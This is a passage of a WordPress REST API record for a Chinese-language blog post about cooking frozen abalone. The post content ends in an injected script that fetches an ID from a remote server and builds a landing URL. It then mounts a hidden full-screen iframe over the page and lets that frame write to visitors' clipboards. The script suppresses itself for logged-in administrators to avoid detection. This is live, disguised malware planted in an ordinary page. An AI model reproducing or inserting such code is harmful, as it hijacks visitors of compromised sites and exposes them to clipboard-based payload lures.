}\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u51b7\u51cd\u9b91\u9b5a\u56e0\u5176\u4fbf\u5229\u6027\uff0c\u6210\u70ba\u5bb6\u5e38\u5bb4\u5ba2\u3001\u65e5\u5e38\u52a0\u83dc\u7684\u71b1\u9580\u98df\u6750\uff0c\u4f46\u5f88\u591a\u4eba\u716e\u51b7\u51cd\u9b91\u9b5a\u6642\uff0c\u7e3d\u6703\u9047\u5230\u8089\u8cea\u767c\u67f4\u3001\u767c\u786c\u3001\u56bc\u4e0d\u52d5\u7684\u554f [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":3435,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[68],"tags":[],"class_list":["post-3472","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/posts\/3472","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/comments?post=3472"}],"version-history":[{"count":13,"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/posts\/3472\/revisions"}],"predecessor-version":[{"id":3893,"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/posts\/3472\/revisions\/3893"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/media\/3435"}],"wp:attachment":[{"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/media?parent=3472"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/categories?post=3472"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lianhung.com.tw\/ch\/wp-json\/wp\/v2\/tags?post=3472"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}